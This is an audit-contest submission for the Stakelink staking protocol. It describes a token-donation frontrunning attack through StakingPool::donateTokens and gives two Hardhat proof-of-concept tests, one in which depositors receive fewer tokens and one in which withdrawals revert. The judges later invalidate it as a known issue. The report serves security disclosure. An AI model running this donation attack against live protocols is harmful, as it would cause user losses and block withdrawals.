Liquid Staking

Stakelink
DeFiHardhatOracle
50,000 USDC
View results
Submission Details
Severity: medium
Invalid

Attack users using the `StakingPool::donateTokens` function.

Summary

The received amount can be modified during a withdrawal, or withdrawals can be blocked (DDoS Attack) using the StakingPool::donateTokens function.

Vulnerability Details

We have two scenarios:
First scenario: If the protocol were deployed from scratch and an attacker frontruns the first user to deposit by donating tokens through the StakingPool::donateTokens function, the first user would receive fewer shares upon assignment, and consequently, they would receive fewer tokens than they deposited at the time of withdrawal.


Second scenario: With the protocol already running and with active deposits, an attacker could frontrun another user’s withdrawal request by StakingPool::donateTokens function. This would cause the transaction to revert with the error InsufficientLiquidity() if the PriorityPool::totalQueued is less than the amount to be withdrawn.

it('Attack and Modify Received Actions First scenario', async () => {
const { signers, adrs, pp, token, stakingPool, strategy } = await loadFixture(
deployFixture
)
let attacker = signers[10];
let user = signers[3];
let user2 = signers[2];
let amount = toEther(1000);
let donationAmount = toEther(1);
let sharesBefore;
let balanceBefore = await stakingPool.totalStaked()
console.log("StakingPool Balance Before: ",balanceBefore)
console.log("------------------------------------------")
let userBalanceBefore = await stakingPool.sharesOf(user)
console.log("User Share Balance Before: ",userBalanceBefore)
console.log("------------------------------------------")
await strategy.setMaxDeposits(toEther(2600))
await token.connect(user).approve(adrs.pp, ethers.MaxUint256)
await stakingPool.connect(user).approve(adrs.pp, ethers.MaxUint256)
await token.connect(attacker).approve(adrs.stakingPool, ethers.MaxUint256)
sharesBefore = await stakingPool.getSharesByStake(amount);
console.log("Calc Shares Before Donate: ",sharesBefore)
console.log("------------------------------------------")
await stakingPool.connect(attacker).donateTokens(donationAmount)
let userTokenBalanceBefore = await token.balanceOf(user)
console.log("User Token Balance Before Deposit: ",userTokenBalanceBefore)
console.log("------------------------------------------")
await pp.connect(user).deposit(amount, true, ['0x'])
await strategy.setMaxDeposits(toEther(1000))
await token.connect(user2).approve(adrs.pp, ethers.MaxUint256)
await pp.connect(user2).deposit(amount, true, ['0x'])
let userTokenBalanceAfterDeposit = await token.balanceOf(user)
console.log("User Token Balance After Deposit: ",userTokenBalanceAfterDeposit)
console.log("------------------------------------------")
let userBalanceAfter = await stakingPool.sharesOf(user)
console.log("User Shares Balance After: ",userBalanceAfter)
console.log("------------------------------------------")
let balanceAfter = await stakingPool.totalStaked()
console.log("stakingPool Balance After: ",balanceAfter)
console.log("------------------------------------------")
console.log("Queue Tokens Before:", await pp.totalQueued())
console.log("------------------------------------------")
console.log("Can Withdraw: ",await pp.canWithdraw(user, 0))
console.log("------------------------------------------")
let withdrawAmount = await stakingPool.getStakeByShares(userBalanceAfter);
console.log("withdraw Amount:", withdrawAmount)
console.log("------------------------------------------")
await pp.connect(user).withdraw(withdrawAmount, withdrawAmount, userBalanceAfter, [], false, false)
console.log("Queue Tokens After:", await pp.totalQueued())
console.log("------------------------------------------")
let userTokenBalanceafter = await token.balanceOf(user)
console.log("User Token Balance After: ",userTokenBalanceafter)
expect(userTokenBalanceafter).to.be.lessThan(userTokenBalanceBefore);
})
it('Attack and Modify Received Actions Second scenario', async () => {
const { signers, adrs, pp, token, stakingPool, strategy } = await loadFixture(
deployFixture
)
let attacker = signers[10];
let user = signers[3];
let user2 = signers[2];
let amount = toEther(1000);
let donationAmount = toEther(1);
let sharesBefore;
let balanceBefore = await stakingPool.totalStaked()
console.log("StakingPool Balance Before: ",balanceBefore)
console.log("------------------------------------------")
let userBalanceBefore = await stakingPool.sharesOf(user)
console.log("User Share Balance Before: ",userBalanceBefore)
console.log("------------------------------------------")
await strategy.setMaxDeposits(toEther(2600))
await token.connect(user).approve(adrs.pp, ethers.MaxUint256)
await stakingPool.connect(user).approve(adrs.pp, ethers.MaxUint256)
await token.connect(attacker).approve(adrs.stakingPool, ethers.MaxUint256)
sharesBefore = await stakingPool.getSharesByStake(amount);
console.log("Calc Shares Before Donate: ",sharesBefore)
console.log("------------------------------------------")
let userTokenBalanceBefore = await token.balanceOf(user)
console.log("User Token Balance Before Deposit: ",userTokenBalanceBefore)
console.log("------------------------------------------")
await pp.connect(user).deposit(amount, true, ['0x'])
await strategy.setMaxDeposits(toEther(1000))
await token.connect(user2).approve(adrs.pp, ethers.MaxUint256)
await pp.connect(user2).deposit(amount, true, ['0x'])
let userTokenBalanceAfterDeposit = await token.balanceOf(user)
console.log("User Token Balance After Deposit: ",userTokenBalanceAfterDeposit)
console.log("------------------------------------------")
let userBalanceAfter = await stakingPool.sharesOf(user)
console.log("User Shares Balance After: ",userBalanceAfter)
console.log("------------------------------------------")
let balanceAfter = await stakingPool.totalStaked()
console.log("stakingPool Balance After: ",balanceAfter)
console.log("------------------------------------------")
console.log("Queue Tokens Before:", await pp.totalQueued())
console.log("------------------------------------------")
console.log("Can Withdraw: ",await pp.canWithdraw(user, 0))
console.log("------------------------------------------")
await stakingPool.connect(attacker).donateTokens(donationAmount)
let withdrawAmount = await stakingPool.getStakeByShares(userBalanceAfter);
console.log("withdraw Amount:", withdrawAmount)
console.log("------------------------------------------")
await expect(
pp.connect(user).withdraw(withdrawAmount, withdrawAmount, userBalanceAfter, [], false, false)
).to.be.revertedWithCustomError(pp, 'InsufficientLiquidity()')
})

Impact

First scenario: The user would receive fewer tokens than initially deposited.
Second scenario: It could block withdrawals from the protocol until the totalQueued is sufficient to process the user's withdrawal.

Tools Used

  • Hardhat

Recommendations

Remove the line totalStaked += _amount from the StakingPool::donateTokens function.

function donateTokens(uint256 _amount) external {
token.safeTransferFrom(msg.sender, address(this), _amount);
-- totalStaked += _amount;
emit DonateTokens(msg.sender, _amount);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

donateTokens() allows a malicious user to manipulate the system in such a way that users may receive 0 shares.

Appeal created

inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

[INVALID] Donation Attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.